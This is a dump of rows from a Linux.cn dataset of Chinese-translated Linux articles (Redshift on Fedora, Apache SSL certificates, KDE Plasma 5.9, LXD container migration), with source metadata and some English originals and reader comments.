在 1980 年,大多数计算机是由专家管理的大型事物,将它们连接在一起“是非常困难的”。在那个时代,开发软件的成本是这样的,一个程序“监听”另一个程序获得的好处是可以忽略不计的:此时几乎没有计算机,同时它们是独立的,它们所有的工作和金融无关。
X-Window 开发于这种环境下,通过一系列扩展,它已经适应了许多变化。但它本质上是不安全的:任何应用程序可以知道显示了什么(并影响它)。你可以编写像 Xeyes(用“眼睛”跟踪光标)或“Tickeys”(通过键盘来生成打字机噪声)等应用程序。现实是,任何应用程序可以跟踪和操纵几乎所有的事情。这就是基于 X 的桌面如 Unity 7、Gnome、KDE及其它桌面工作的方式。
X-Window 中窗口管理的开放性质不适合用于具有数百万计算机连接到因特网的世界,它们用于信用卡交易和网上银行,且由非专家管理,并自愿安装来自陌生人的程序。人们越来越意识到让 X-Window 适应新的安全性和图形性能的要求是不可行的。
现在至少有两个开源项目旨在提供一个替代品:Mir 和 Wayland。虽然有些人认为两者是竞争关系,但在很多领域,它们有共同的利益:它们都需要与那些之前假定使用 X11 的其它软件交互,并且许多引入支持的工作对两者都有益。
Canonical 的 X-Window 替换品 Mir,它只将信息暴露给它需要的应用程序(因此没有按键监听或光标跟踪)。它可以满足当前时代的需求,并可以利用现代硬件,如图形处理器。
---
via: <https://insights.ubuntu.com/2016/11/28/mir-is-not-only-about-unity8/>
作者:Alan Griffiths 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | null |
|
8,166 | 在 Fedora 上使用 Redshift 改善睡眠 | https://fedoramagazine.org/safe-eyes-redshift/ | 2017-02-01T18:01:15 | [
"Redshift"
] | https://linux.cn/article-8166-1.html | 大多数电子设备发射的蓝光被认为对我们的睡眠有负面影响。作为一个尝试,我们可以在黑暗中不再使用我们的电子设备,以改善我们的睡眠。然而,由于这对我们大多数人并不是很适合,更好的方法是根据你周围环境调整屏幕的色温。实现这一点的最流行的方法之一是使用 Redshift。 Redshift 的创建者 Jon Lund Steffensen 这样描述了他的程序:
>
> Redshift 会根据你周围的环境调整屏幕的色温。如果你在夜间在屏幕前工作,它可以帮助你减少眼睛伤害。
>
>
>
Redshift 在 Fedora Workstation 上仅工作在 X11 会话中。所以如果你使用 Fedora 24,Redshift 可以工作在默认登录会话中。然而,在 Fedora 25 上,登录的默认会话是 Wayland,因此你将需要替代使用其 GNOME shell 扩展。注意,这个 GNOME Shell 扩展也适用于 X11 会话。
### Redshift 工具
#### 安装
Redshift 在 Fedora 的仓库中,因此我们使用下面的命令安装:
```
sudo dnf install redshift
```
该软件也提供了 GUI。要使用的话就安装 `redshift-gtk`。记住,这个工具只能在 X11 会话中使用:
#### 使用 Redshift 工具
用像下面的命令在命令行中运行:
```
redshift -l 23.6980:133.8807 -t 5600:3400
```
在以上命令中,`-l 23.6980:133.8807` 的意思是我们通知 Redshift 我们当前的位置是南纬 23.6980°,东经 133.8807°。 `-t 5600:3400` 表明你白天想要的色温是 5600,晚上是 3400。
色温与发射的蓝光的量成比例:较低的色温意味着较低量的蓝光。我喜欢在白天使用 5600K(6500K 是中性日光),在晚上使用 3400K(更低的色温让我觉得像盯着番茄一样),但你可以随意尝试。
如果你不指定位置,Redshift 会尝试使用 Geoclue 方法来确定你的位置坐标。如果此方法不起作用,你可以使用几个[网站](http://www.latlong.net/)和在线地图来查找坐标。

别忘记将 Redshift 设置为自动启动,查看 [Jon 的网站](http://jonls.dk/redshift/)来获取更多信息。
### Redshift GNOME Shell 扩展
该程序不能在运行 Wayland 显示服务器(这是 Fedora 25 中的标准)的环境中工作。幸运的是,这里有一个方便的 GNOME Shell 扩展可以做到同样的工作。要安装它,请运行以下命令:
```
sudo dnf copr enable mystro256/gnome-redshift
sudo dnf install gnome-shell-extension-redshift
```
从 COPR 仓库安装后,注销并重新登录你的 Fedora Workstation,然后在 GNOME Tweak 工具中启用它。关于更多信息,请查看 gnome-redshift 的 [copr 仓库](https://copr.fedorainfracloud.org/coprs/mystro256/gnome-redshift/)或 [github 仓库](https://github.com/benzea/gnome-shell-extension-redshift)。
启用扩展后,GNOME shell 右上角会出现一个小小的太阳(或月亮)图标。该扩展还提供了一个设置对话框来调整 redshift 和温度的时间。

### 相关软件
#### F.lux
Redshift 可以被看作是 F.lux 的开源变体。现在有一个 [linux 版本的 F.lux](https://justgetflux.com/linux.html)。如果你不介意使用闭源软件,或者 Redshift 不能正常工作,你可以考虑使用它。
#### Android 版 Twilight
Twilight 与 Redshift 相似,但是用于 Android。它可以让你在晚上在智能手机或平板上阅读更加舒服。
#### Redshift plasmoid
这是 Redshift GUI 的 KDE 版本。你可以在 [github](https://github.com/simgunz/redshift-plasmoid) 中找到更多信息。
---
via: <https://fedoramagazine.org/safe-eyes-redshift/>
作者:[novel](http://novel.id.fedoraproject.org/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | The blue light emitted by most electronic devices, is known for having a negative impact on our sleep. We could simply quit using each of our electronic devices after dark, as an attempt to improve our sleep. However, since that is not really convenient for most of us, a better way is to adjusts the color temperature of your screen according to your surroundings. One of the most popular ways to achieve this is with the Redshift utility. Jon Lund Steffensen , the creator of Redshift, describes his program in the following way:
Redshift adjusts the color temperature of your screen according to your surroundings. This may help your eyes hurt less if you are working in front of the screen at night.
The Redshift utility only works in the X11 session on Fedora Workstation. So if you’re using Fedora 24, Redshift will work with the default login session. However, on Fedora 25, the default session at login is Wayland, so you will have to use the GNOME shell extension instead. Note, too that the GNOME Shell extension also works with X11 sessions.
**Redshift utility**
#### Installation
Redshift is in the Fedora’s repos, and thus, all we have to do to install is run this command:
sudo dnf install redshift
The package also provides a GUI. To use this, install
instead. Remember, though, that the utility only works on X11 sessions.
#### Using the Redshift utility
Run the utility from the command line with a command like the following:
redshift -l 23.6980:133.8807 -t 5600:3400
In the above command, the* -l 23.6980:133.8807 *means we are informing Redshift that our current location is 23.6980° S, 133.8807° E. The* -t 5600:3400* declares that during the day you want a colour temperature of 5600, and 3400 at night.
The temperature is proportional to the amount of blue light emitted: a lower temperature, implies a lower amount of blue light. I prefer to use 5600K (6500K is neutral daylight) during the day, and 3400K at night (anything lower makes me feel like I’m staring at a tomato), but feel free to experiment with it.
If you don’t specify a location, Redshift attempts to use the Geoclue method in order to determine your location coordinates. If this method doesn’t work, you could use multiple [websites](http://www.latlong.net) and online maps to find the coordinates.
Don’t forget to set Redshift as an autostart command, and to check [Jon’s website](http://jonls.dk/redshift/) for more information.
## Redshift GNOME Shell extension
The utility does not work when running the Wayland display server (which is standard in Fedora 25). Fortunately, there is a handy GNOME Shell extension that will do the same job. To install, run the the following commands
sudo dnf copr enable mystro256/gnome-redshift sudo dnf install gnome-shell-extension-redshift
After installing from the COPR repo, log out and log back in of your Fedora Workstation, then enable it in the GNOME Tweak tool. For more information, check the gnome-redshift [copr repo](https://copr.fedorainfracloud.org/coprs/mystro256/gnome-redshift/), or the [github repo](https://github.com/benzea/gnome-shell-extension-redshift).
After enabling the extension, a little sun (or moon) icon appears in the top right of your GNOME shell. The extension also provides a settings dialog to tweak the times of the redshift and the temperature.
## Relative software
#### F.lux
Redshift could be seen as the open-source variant of F.lux. There is a [linux version of F.lux](https://justgetflux.com/linux.html) now. You could consider using it if you don’t mind using closed-source software, or if Redshift doesn’t work properly.
#### Twilight for Android
Twilight is similar to Redshift, but for Android. It makes reading on your smartphone or tablet late at night more comfortable.
#### Redshift plasmoid
This is the Redshift GUI version for KDE. You can find more information on [github](https://github.com/simgunz/redshift-plasmoid).
## Osqui
GNOME Shell extension should be on official repository. This piece of software is a must!
## Diving Deer
For Android there is also Red Moon, https://github.com/raatmarien/red-moon
Unlike Twilight it is open source.
## Be
Thanks for mentioning this. For Android, there is also Yet Another Auto Brightness (YAAB) which automatically adjusts screen brightness to correspond with the amount of light its camera senses. YAAB and Red Moon can be used together by setting “Dim level” to 0% and turning off “Lower brightness” in Red Moon’s settings.
## Dan
Open source alternative to Twilight for Android:
Red Moon
https://f-droid.org/repository/browse/?fdfilter=moon&fdid=com.jmstudios.redmoon
## Daniel
You can use Redshift with Wayland too, but it takes some work for the time being.
## andreppires
Thanks!
## Aaron Lu
Nice. I’ve been using xflux but it stopped working after xorg server updated to 1.19.1. It’s good to know this software and it works for me.
## kapoath
Thank you for the detailed instructions to add Redshift as a Gnome shell extension under Wayland. I needed that!
Works like a charm!
## Ed
I’m also using Redshift on Fedora 24, with no problem. The only gripe I have is that this requieres a internet conenction to work/activate. Without Geoclue it’s helpless.
While back when I was using flux on Ubuntu, once setup,it would work properly even with NO INTERNET .
Making this internet-dependant makes it less practical for people who use computers offline .
## kapoath
I thought that Flatpak could/would solve such issues. For example apps based on specific distro, like f.lux and PacketTracer 7.0 from Cisco that are compatible with Ubuntu, could work in Fedora with the use of Flatpak.
But it doesn’t seem that to be the case.
## cazo
Ed: Setting the provider to ‘manual’ & entering your latitude/longitude allow you to use redshift offline (you can put those values into ~/.config/redshift.conf like:
[redshift]
location-provider=manual
[manual]
lat=55.7
lon=12.6
## Striker
Just FYI: This is not limited to “Fedora Workstation” which is simply just Fedora with Gnome. The article should reflect that this also works on Fedora 25 Plasma 5 default install, which uses X11.
## lupinix
For KDE Plasma the linked plasmoid is outdated… We have an applet for Plasma in official repository: https://apps.fedoraproject.org/packages/plasma-applet-redshift-control
So just dnf install plasma-applet-redshift-control and add it to your panel 😉
## mystro256
I wonder how many people are using my copr. I just popped it on there for personal use and before you know it, I see blog posts popping up.
Note that the GNOME extension works for both Wayland and XOrg, so if you still use X and f.lux or redshift gives you issues, you can always give the extension a shot. For example, I used to use redshift but I found it would flicker a lot.
## Xarchus
Regarding the Redshift GNOME Shell extension; its Github page (https://github.com/benzea/gnome-shell-extension-redshift) explicitly warns users:
I can also see the GNOME bug 741224 still open, which would seem to imply that such a patch is needed. (https://bugzilla.gnome.org/show_bug.cgi?id=741224, left somehow in limbo, with an ambiguous comment from November last year).
So, are the instructions in this post enough to have the GNOME version of redshift working ? If the daemon patching is required, the process is far more involved than the guide above would indicate. Making this clear either way would be very helpful.
## Xarchus
Regarding the “Redshift GNOME Shell extension”: its Github page (https://github.com/benzea/gnome-shell-extension-redshift) warn users that:
Is this sill the case ? If yes, then the steps are far more involved than what the guide above would indicate. Please clarify.
## Ryan Lerch
The copr repo ships a patched version of gnome-settings-daemon:
https://copr.fedorainfracloud.org/coprs/mystro256/gnome-redshift/packages/
## murpholinox
Thanks!!
## Magnus H
Wayland solution worked out of the box, thanks! But I would like to have more general brightness adjustment, not just along this physical color scale. Or at least have a 2-dimensional color and intensity scale.
Many screens have LED backlights with very limited brightness adjust possibilities. One can use dark themes, but that always creates some mess somewhere when you want to use an older application that doesn’t adapt properly or when you do remote desktop/VNC, etc, a generic way of getting it everywhere would be much better.
I have been trying earlier to go through the gnome accessibility settings to adjust brightness on the screen from SW but that did not work for me (bug filed). I suppose you could go through the color profile stuff to hack it in but that’s a bit painful and kind of backwards.
## Steve
Or you could just turn off your devices and leave them in another room (than your bedroom) when going to sleep.
## Hans Anderson
Nice idea of promoting something like Redshift but unfortunately useless. Under a default configuration, it simply wouldn’t work with the most recent Fedora release.
Recommending third-party repositories for Fedora seem not cool either…
## Mystro256
In my defence, I am a fedora dev, but the copr is ultimately a hacky interim solution until someone can come along and properly implement it in GNOME. |
8,167 | OpenSSL 在 Apache 和 Dovecot 下的使用(一) | https://www.linux.com/learn/sysadmin/openssl-apache-and-dovecot | 2017-02-02T08:02:00 | [
"OpenSSL",
"Apache"
] | https://linux.cn/article-8167-1.html | 
>
> 在这有两部分的系列中,Carla Schroder 会向你展示如何创建自己的 OpenSSL 证书以及如何配置 Apache 和 Dovecot 来使用它们。
>
>
>
这么长时间之后,我的读者们,这里是我给你们承诺的在 Apache 中使用 OpenSSL 的方法,下周你会看到在 Dovecot 中使用 SSL。 在这个分为两部分的系列中,我们将学习如何创建自己的 OpenSSL 证书,以及如何配置 Apache 和 Dovecot 来使用它们。
这些例子基于这些教程:
* [给初学者看的在 Ubuntu Linux 上使用 Apache](https://www.linux.com/learn/apache-ubuntu-linux-beginners)
* [给初学者看的在 Ubuntu Linux 上使用 Apache:第 2 部分](https://www.linux.com/learn/apache-ubuntu-linux-beginners-part-2)
* [给初学者看的在 CentOS Linux 上使用 Apache](https://www.linux.com/learn/apache-centos-linux-beginners)
### 创建你的证书
Debian/Ubuntu/Mint 会在 `/etc/ssl` 中存储私钥和证书的符号链接。系统自带的证书保存在 `/usr/share/ca-certificates` 中。你安装或创建的证书在 `/usr/local/share/ca-certificates/` 中。
这个例子是对 Debian 而言。创建私钥和公用证书,将证书转换为正确的格式,并将其符号链接到正确的目录:
```
$ sudo openssl req -x509 -days 365 -nodes -newkey rsa:2048 \
-keyout /etc/ssl/private/test-com.key -out \
/usr/local/share/ca-certificates/test-com.crt
Generating a 2048 bit RSA private key
.......+++
......................................+++
writing new private key to '/etc/ssl/private/test-com.key'
-----
You are about to be asked to enter information that will
be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished
Name or a DN. There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:WA
Locality Name (eg, city) []:Seattle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Alrac Writing Sweatshop
Organizational Unit Name (eg, section) []:home dungeon
Common Name (e.g. server FQDN or YOUR name) []:www.test.com
Email Address []:[email protected]
$ sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
Adding debian:test-com.pem
done.
done.
```
CentOS/Fedora 使用不同的文件结构,并不使用 `update-ca-certificates`,使用这个命令:
```
$ sudo openssl req -x509 -days 365 -nodes -newkey rsa:2048 \
-keyout /etc/httpd/ssl/test-com.key -out \
/etc/httpd/ssl/test-com.crt
```
最重要的条目是 `Common Name`,它必须与你的完全限定域名(FQDN)完全匹配。此外其它信息都是任意的。`-nodes` 用于创建一个无密码的证书,这是 Apache 所必需的。`-days` 用于定义过期日期。更新证书是一个麻烦的事情,但这样应该能够额外提供一些安全保障。参见 [90 天证书有效期的利弊](https://community.letsencrypt.org/t/pros-and-cons-of-90-day-certificate-lifetimes/4621)中的讨论。
### 配置 Apache
现在配置 Apache 以使用你的新证书。如果你遵循[给初学者看的在 Ubuntu Linux 上使用 Apache:第 2 部分](https://www.linux.com/learn/apache-ubuntu-linux-beginners-part-2),你所要做的就是修改虚拟主机配置中的 `SSLCertificateFile` 和 `SSLCertificateKeyFile`,以指向你的新私钥和公共证书。来自该教程中的 `test.com` 示例现在看起来像这样:
```
SSLCertificateFile /etc/ssl/certs/test-com.pem
SSLCertificateKeyFile /etc/ssl/private/test-com.key
```
CentOS 用户,请参阅在 CentOS wiki 中的[在 CentOS 上设置 SSL 加密的 Web 服务器](https://wiki.centos.org/HowTos/Https)一文。过程是类似的,wiki 会告诉如何处理 SELinux。
### 测试 Apache SSL
一个简单的方法是用你的网络浏览器访问 https://yoursite.com,看看它是否可以正常工作。在第一次这样做时,你会在你过度保护的 web 浏览器中看到可怕的警告说网站是不安全的,因为它使用的是自签名证书。请忽略你这个敏感的浏览器,并单击屏幕创建永久性例外。 如果你遵循在[给初学者看的在 Ubuntu Linux 上使用 Apache:第 2 部分](https://www.linux.com/learn/apache-ubuntu-linux-beginners-part-2)上的示例虚拟主机配置,那么即使你的网站访问者尝试使用纯 HTTP,你的网站的所有流量都将强制通过 HTTPS。
一个很好测试方法是使用 OpenSSL。是的,有一个漂亮的命令来测试这些东西。试下这个:
```
$ openssl s_client -connect www.test.com:443
CONNECTED(00000003)
depth=0 C = US, ST = WA, L = Seattle, O = Alrac Writing Sweatshop,
OU = home dungeon, CN = www.test.com, emailAddress = [email protected]
verify return:1
---
Certificate chain
0 s:/C=US/ST=WA/L=Seattle/O=Alrac Writing Sweatshop/OU=home
dungeon/CN=www.test.com/[email protected]
i:/C=US/ST=WA/L=Seattle/O=Alrac Writing Sweatshop/OU=home
dungeon/CN=www.test.com/[email protected]
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
```
这里输出了大量的信息。这里有很多关于 `openssl s_client` 的有趣信息; 现在足够我们知道我们的 web 服务器是否使用了正确的 SSL 证书。
### 创建一个证书签名请求
如果你决定使用第三方证书颁发机构(CA),那么就必须创建证书签名请求(CSR)。你将它发送给你的新 CA,他们将签署并将其发送给您。他们可能对创建你的 CSR 有自己的要求; 这是如何创建一个新的私钥和 CSR 的典型示例:
```
$ openssl req -newkey rsa:2048 -nodes \
-keyout yourdomain.key -out yourdomain.csr
```
你也可以从一个已经存在的 key 中创建一个 CSR:
```
$ openssl req -key yourdomain.key \
-new -out domain.csr
```
今天就是这样了。下周我们将[学习如何正确地在 Dovecot 中设置 OpenSSL](https://www.linux.com/learn/intro-to-linux/openssl-apache-and-dovecot-part-2)。
### 额外的教程
* [消灭让人害怕的 web 浏览器 SSL 警告](https://www.linux.com/learn/quieting-scary-web-browser-ssl-alerts)
* [如何在 Linux 上使用 OpenVPN 设置安全远程网络:第一部分](https://www.linux.com/learn/how-set-secure-remote-networking-openvpn-linux-part-1)
* [如何在 Linux 上使用 OpenVPN 设置安全远程网络:第一部分](https://www.linux.com/learn/how-set-secure-remote-networking-openvpn-linux-part-2)
提高你的系统管理职业生涯吧!查看Linux基金会的[系统管理的要点](https://training.linuxfoundation.org/linux-courses/system-administration-training/essentials-of-system-administration)课程。
---
via: <https://www.linux.com/learn/sysadmin/openssl-apache-and-dovecot>
作者:[CARLA SCHRODER](https://www.linux.com/users/cschroder) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,168 | KDE 5.9 发布,全局菜单回来了 | http://news.softpedia.com/news/kde-plasma-5-9-desktop-launches-with-global-menus-better-wayland-support-512434.shtml | 2017-02-01T23:20:03 | [
"KDE"
] | https://linux.cn/article-8168-1.html | 2017 年 1 月 30 日,KDE 团队宣布发布了 KDE Plasma 5.9。

虽然 KDE Plasma 5.9 开发周期很短,不过考虑到 5.9 并非像 5.8 一样是个 LTS 版本也是可以理解的。 这次发布还是一个相当大的更新,带来了不少新的功能,并改善了 Wayland 支持,我们推荐所有 KDE 用户升级到这个版本。
### 全局菜单回来了
对于从 KDE Plasma 5.8 LTS 或之前的版本升级的用户而言,可能最重要原因就是它带回了“全局菜单”。全局菜单是一个 KDE 4 系列的功能,但是在 KDE 5 中被取消了,经过了用户的多次要求,KDE 开发团队终于在 KDE Plasma 5.9 中将这一功能再次实现了。
在其[发布公告](https://www.kde.org/announcements/plasma-5.9.0.php)中称:“全局菜单回来了。KDE 的这项开创性的功能从应用窗口分离出了菜单栏,允许通过 Plasma Widget 显示该菜单或将其整齐的放入窗口栏。”如下,你可以看到显示在 Plasma Widget 和窗口栏中的全局菜单。

*显示在 Plasma Widget 中的全局菜单*

*显示在窗口栏中的全局菜单*
### 改进 Wayland 支持,可以增强生产力的新工具
对于那些使用下一代 Wayland 显示服务器的人来说,KDE Plasma 5.9 中带来了大量改进。这包括截屏的能力、支持使用颜色拾取器、实现了无边框最大化窗口以支持全屏、支持点击应用的空白区域来拖动应用等等。
KDE Plasma 的 Wayland 支持允许用户为窗口设置颜色方案,这对于改善可用性有帮助。实现了面板的自动隐藏,并能在面板上正确显示 X11 应用的图标。此外,还有一些新的设置工具可以用于配置触摸板,也可以设置手势。
KDE Plasma 5.9 也增加了一些很酷的新工具,比如说你可以通过拖动截屏的提示弹窗来将截屏拖动到 Web 浏览器的表单、聊天窗口或邮件中。重新打造的拖放功能可以让你直接在系统托盘区增加小部件,也可以直接从全屏的<ruby> 应用仪表盘启动器 <rp> ( </rp> <rt> Application Dashboard launcher </rt> <rp> ) </rp></ruby>中增加小部件。

*拖动截屏的提示弹窗*
KRunner 的搜索结果中可以显示“打开包含文件夹”和“在终端中运行”菜单。有一个新的应用可以让用户将多个小部件组织成一个。此外,KDE Plasma 5.9 还改善了 KDE 应用和 Plasma 桌面的外观, 以及更漂亮、更紧凑的 Breeze 风格的滚动条。

*“打开包含文件夹”*
KDE Plasma 5.9 已经可以从其官网下载源代码了,各个发行版很快就会发布更新包。
按照计划,KDE Plasma 5.9 会有五个维护版本,最后一个维护版本 5.9.5 将发布于 2017 年 4 月 25 日。
### KDE Plasma 5.10 已经在路上
KDE Plasma 5.9 刚刚出炉,而 KDE 开发团队就已经投入到了 5.10 的开发中。据闻,在 5.10 中会有一个新的“<ruby> 弹性加载 <rp> ( </rp> <rt> Spring-Loading </rt> <rp> ) </rp></ruby>”功能。
弹性加载是一种文件夹视图,当用户将一个文件夹/文件拖放到另外一个文件夹时,悬浮在其上会即时显示该文件夹内容,你可以在显示的文件夹内继续拖放悬浮,并选择你要采取的动作。从下面的演示视频看,还是很有吸引力的。
此外,文件夹视图也会得到性能的极大提升。
| 301 | Moved Permanently | null |
8,169 | LXD 2.0 系列(六):远程主机及容器迁移 | https://www.stgraber.org/2016/04/12/lxd-2-0-remote-hosts-and-container-migration-612/ | 2017-02-03T08:27:00 | [
"LXD"
] | https://linux.cn/article-8169-1.html | 这是 LXD 2.0 系列介绍文章的第六篇。
1. [LXD 入门](/article-7618-1.html)
2. [安装与配置](/article-7687-1.html)
3. [你的第一个 LXD 容器](/article-7706-1.html)
4. [资源控制](/article-8072-1.html)
5. [镜像管理](/article-8107-1.html)
6. [远程主机及容器迁移](/article-8169-1.html)
7. [LXD 中的 Docker](/article-8235-1.html)
8. [LXD 中的 LXD](/article-8257-1.html)
9. [实时迁移](/article-8263-1.html)
10. [LXD 和 Juju](/article-8273-1.html)
11. [LXD 和 OpenStack](/article-8274-1.html)
12. [调试,及给 LXD 做贡献](/article-8282-1.html)

### 远程协议
LXD 2.0 支持两种协议:
* LXD 1.0 API:这是在客户端和 LXD 守护进程之间使用的 REST API,以及在 LXD 守护进程间复制/移动镜像和容器时使用的 REST API。
* Simplestreams:Simplestreams 协议是 LXD 客户端和守护进程使用的只读、仅针对镜像的协议,用于客户端和 LXD 守护进程获取镜像信息以及从一些公共镜像服务器(如 Ubuntu 镜像)导入镜像。
以下所有内容都将使用这两个协议中的第一个。
### 安全
LXD API 的验证是通过客户端证书在 TLS 1.2 上使用最近的密钥验证的。 当两个 LXD 守护进程必须直接交换信息时,源守护程序生成一个临时令牌,并通过客户端传输到目标守护程序。 此令牌仅可用于访问特定流,并且会被立即撤销,因此不能重新使用。
为了避免中间人攻击,客户端工具还将源服务器的证书发送到目标服务器。这意味着对于特定的下载操作,目标服务器会被提供源服务器的 URL、所需资源的一次性访问令牌以及服务器应该使用的证书。 这可以防止中间人攻击,并且只允许临时访问所传输的对象。
### 网络需求
LXD 2.0 使用这样一种模型,某个操作的目标(接收端)直接连接到源以获取数据。
这意味着你必须确保目标服务器可以直接连接到源、可以更新任何所需的防火墙。
我们有个[允许反向连接的计划](https://github.com/lxc/lxd/issues/553),允许通过客户端代理本身以应对那些严格的防火墙阻止两台主机之间通信的罕见情况。
### 与远程主机交互
LXD 使用的是“远程”的概念,而不是让我们的用户总是提供主机名或 IP 地址,然后在他们想要与远程主机交互时验证证书信息。
默认情况下,唯一真正的 LXD 远程配置是 `local:`,这也是默认的远程(所以你不必输入它的名称)。这个本地(`local:`)远程使用 LXD REST API 通过 unix 套接字与本地守护进程通信。
#### 添加一台远程主机
假设你已经有两台装有 LXD 的机器:你的本机以及远程那台我们称为“foo”的主机。
首先你需要确保“foo”正在监听网络,并设置了一个密码,以便得到一个远程 shell,运行:
```
lxc config set core.https_address [::]:8443
lxc config set core.trust_password something-secure
```
在你本地 LXD 上,你需要使它对网络可见,这样我们可以从它传输容器和镜像:
```
lxc config set core.https_address [::]:8443
```
现在已经在两端完成了守护进程的配置,你可以添加“foo”到你的本地客户端:
```
lxc remote add foo 1.2.3.4
```
(将 1.2.3.4 替换成你的 IP 或者 FQDN)
看上去像这样:
```
stgraber@dakara:~$ lxc remote add foo 2607:f2c0:f00f:2770:216:3eff:fee1:bd67
Certificate fingerprint: fdb06d909b77a5311d7437cabb6c203374462b907f3923cefc91dd5fce8d7b60
ok (y/n)? y
Admin password for foo:
Client certificate stored at server: foo
```
你接着可以列出远端服务器,你可以在列表中看到“foo”:
```
stgraber@dakara:~$ lxc remote list
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| NAME | URL | PROTOCOL | PUBLIC | STATIC |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| foo | https://[2607:f2c0:f00f:2770:216:3eff:fee1:bd67]:8443 | lxd | NO | NO |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| images | https://images.linuxcontainers.org:8443 | lxd | YES | NO |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| local (default) | unix:// | lxd | NO | YES |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| ubuntu | https://cloud-images.ubuntu.com/releases | simplestreams | YES | YES |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
| ubuntu-daily | https://cloud-images.ubuntu.com/daily | simplestreams | YES | YES |
+-----------------+-------------------------------------------------------+---------------+--------+--------+
```
#### 与它交互
好了,所以我们已经有了一台定义好的远程服务器,我们现在可以做些什么?
现在,就如你看到的,唯一的不同是你必须告诉 LXD 要哪台主机运行。
比如:
```
lxc launch ubuntu:14.04 c1
```
它会在默认主机(`lxc remote get-default`),也就是你的本机上运行。
```
lxc launch ubuntu:14.04 foo:c1
```
这个会在 foo 上运行。
列出远程主机正在运行的容器可以这么做:
```
stgraber@dakara:~$ lxc list foo:
+------+---------+---------------------+-----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+---------------------+-----------------------------------------------+------------+-----------+
| c1 | RUNNING | 10.245.81.95 (eth0) | 2607:f2c0:f00f:2770:216:3eff:fe43:7994 (eth0) | PERSISTENT | 0 |
+------+---------+---------------------+-----------------------------------------------+------------+-----------+
```
你要记住的一件事是你需要在远程主机上同时指定镜像和容器。因此如果你在“foo”上有一个“my-image”的镜像,并且希望从它创建一个“c2”的容器,你需要运行:
```
lxc launch foo:my-image foo:c2
```
最后,就如你希望的那样得到一个远程容器的 shell:
```
lxc exec foo:c1 bash
```
#### 复制容器
在两台主机间复制容器就如它听上去那样简单:
```
lxc copy foo:c1 c2
```
你会有一个新的从远程“c1”复制过来的本地“c2”容器。这需要停止“c1”容器,但是你可以在运行的时候只复制一个快照:
```
lxc snapshot foo:c1 current
lxc copy foo:c1/current c3
```
#### 移动容器
除非你在做实时迁移(将会在之后的文章中讲到),不然你需要在移动前先停止容器,接着就会如你预料的那样。
```
lxc stop foo:c1
lxc move foo:c1 local:
```
这个例子等同于:
```
lxc stop foo:c1
lxc move foo:c1 c1
```
### 是如何工作的
正如你期望的那样, 与远程容器的交互时 LXD 使用的 REST API 并不是通过本地 Unix 套接字,而是通过 HTTPS 传输。
当两个守护程序之间交互时会变得有些棘手,如复制和移动的情况。
在这种情况下会发生:
1. 用户运行`lxc move foo:c1 c1`。
2. 客户端联系 `local:` 远程以检查是否现有“c1”容器。
3. 客户端从“foo”获取容器信息。
4. 客户端从源“foo”守护程序请求迁移令牌。
5. 客户端将迁移令牌以及源 URL 和“foo”的证书发送到本地 LXD 守护程序以及容器配置和周围设备。
6. 然后本地 LXD 守护程序使用提供的令牌直接连接到“foo” a) 它连接到第一个控制 websocket b) 它协商文件系统传输协议(zfs 发送/接收,btrfs 发送/接收或者纯 rsync) c) 如果在本地可用,它会解压用于创建源容器的镜像。这是为了避免不必要的数据传输。 d) 然后它会将容器及其任何快照作为增量传输。
7. 如果成功,客户端会命令“foo”删除源容器。
### 在线尝试
没有两台机器来尝试远端交互和复制/移动容器?
没有问题,你可以使用我们的 [demo 服务](https://linuxcontainers.org/lxd/try-it/)。这里甚至还包括了一步步的指导!
### 额外信息
LXD 的主站在: <https://linuxcontainers.org/lxd>
LXD 的 GitHub 仓库: <https://github.com/lxc/lxd>
LXD 的邮件列表: <https://lists.linuxcontainers.org>
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
---
作者简介:我是 Stéphane Graber。我是 LXC 和 LXD 项目的领导者,目前在加拿大魁北克蒙特利尔的家所在的Canonical 有限公司担任 LXD 的技术主管。
---
via: <https://www.stgraber.org/2016/04/12/lxd-2-0-remote-hosts-and-container-migration-612/>
作者:[Stéphane Graber](https://www.stgraber.org/author/stgraber/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,170 | OpenSSL 在 Apache 和 Dovecot 下的使用(二) | https://www.linux.com/learn/intro-to-linux/openssl-apache-and-dovecot-part-2 | 2017-02-03T09:48:00 | [
"OpenSSL",
"Dovecot",
"Postfix"
] | https://linux.cn/article-8170-1.html | 
>
> 本篇中,Carla Schroder 会解释如何使用 OpenSSL 保护你的 Postfix/Dovecot 邮件服务器
>
>
>
在[上周](/article-8167-1.html),作为我们 OpenSSL 系列的一部分,我们学习了如何配置 Apache 以使用 OpenSSL 并强制所有会话使用 HTTPS。 今天,我们将使用 OpenSSL 保护我们的 Postfix/Dovecot 邮件服务器。这些示例基于前面的教程; 请参阅最后的参考资料部分,了解本系列中以前的所有教程的链接。
